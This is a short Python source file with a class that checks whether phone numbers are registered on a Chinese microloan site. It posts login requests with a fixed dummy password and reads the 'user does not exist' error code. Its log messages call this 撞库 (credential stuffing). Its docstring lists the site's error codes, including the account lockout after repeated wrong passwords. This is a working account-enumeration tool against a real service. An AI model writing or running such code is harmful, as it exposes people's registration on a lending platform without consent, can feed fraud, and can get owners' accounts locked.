#!/usr/local/python3.7/bin python3

__author__ = '无崖子'

from log import logger
import requests


class ChannelId3(object):
    """
    嗨秒贷 web https://m.hicash.cn/h5/#/login
    {"userName":"","realName":"","identityNo":"","custType":"","custTypeName":"","mobile":"","limitFlag":"0",
    "limitAmount":"","accountFlag":"0","token":"","pageIndex":"","appNo":"","monthPayMent":"","payMentPeriod":"","tranPrice":"",
    "isDoubleSales":"0","inOneMonthReg":"0","isLanUserFlag":"0","isVip":false,"isHaveUnreadCoupon":"0",
    "uuid":"0c8297d7-6d3a-46da-b782-0df2434f88b1","resultCode":"30201","resultMsg":"用户名不存在"}
    {'resultCode': '30201', 'resultMsg': '用户名不存在',...}
    {'resultCode': '30168', 'resultMsg': '您输入的密码有误，还可输入4次，请查证后再输入',...}
    {'resultCode': '30203', resultMsg: "由于密码错误次数较多，为了您的账户安全，账户已被锁定，24小时后可正常登录",...}
    """

    def __init__(self, id_card=None):
        self.headers = {
            'Host': 'm.hicash.cn',
            'origin': 'https://m.hicash.cn',
            'referer': 'https://m.hicash.cn/h5/',
            'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 '
                          '(KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1'
        }
        self.session = requests.session()
        self.session.headers.update(self.headers)
        self.id_card = id_card

    def check_account(self, mobile):
        try:
            url = 'https://m.hicash.cn/NewHicashService/Login'
            form_data = {
                'uuid': '0c8297d7-6d3a-46da-b782-0df2434f88b1',
                'cityCode': '310100',
                'userName': str(mobile),
                'passWord': '123asd123',
                'verifyCode': '',
                'type': '1',
            }
            response = self.session.post(url=url, data=form_data, timeout=10, verify=False)
            result = response.json()
            if result['resultCode'] == '30201' and result['resultMsg'] == '用户名不存在':
                return {'code': '0', 'isRegister': False, 'mobile': mobile}
            else:
                return {'code': '0', 'isRegister': True, 'mobile': mobile}
        except (ConnectionError, KeyError, ValueError):
            logger.exception('优逸贷渠道撞库出错:1-嗨秒贷')
            return {'code': '1', 'isRegister': False, 'mobile': mobile}
        except Exception as e:
            logger.error('优逸贷渠道撞库出错:1-嗨秒贷\n{}'.format(e))
            return {'code': '1', 'isRegister': False, 'mobile': mobile}
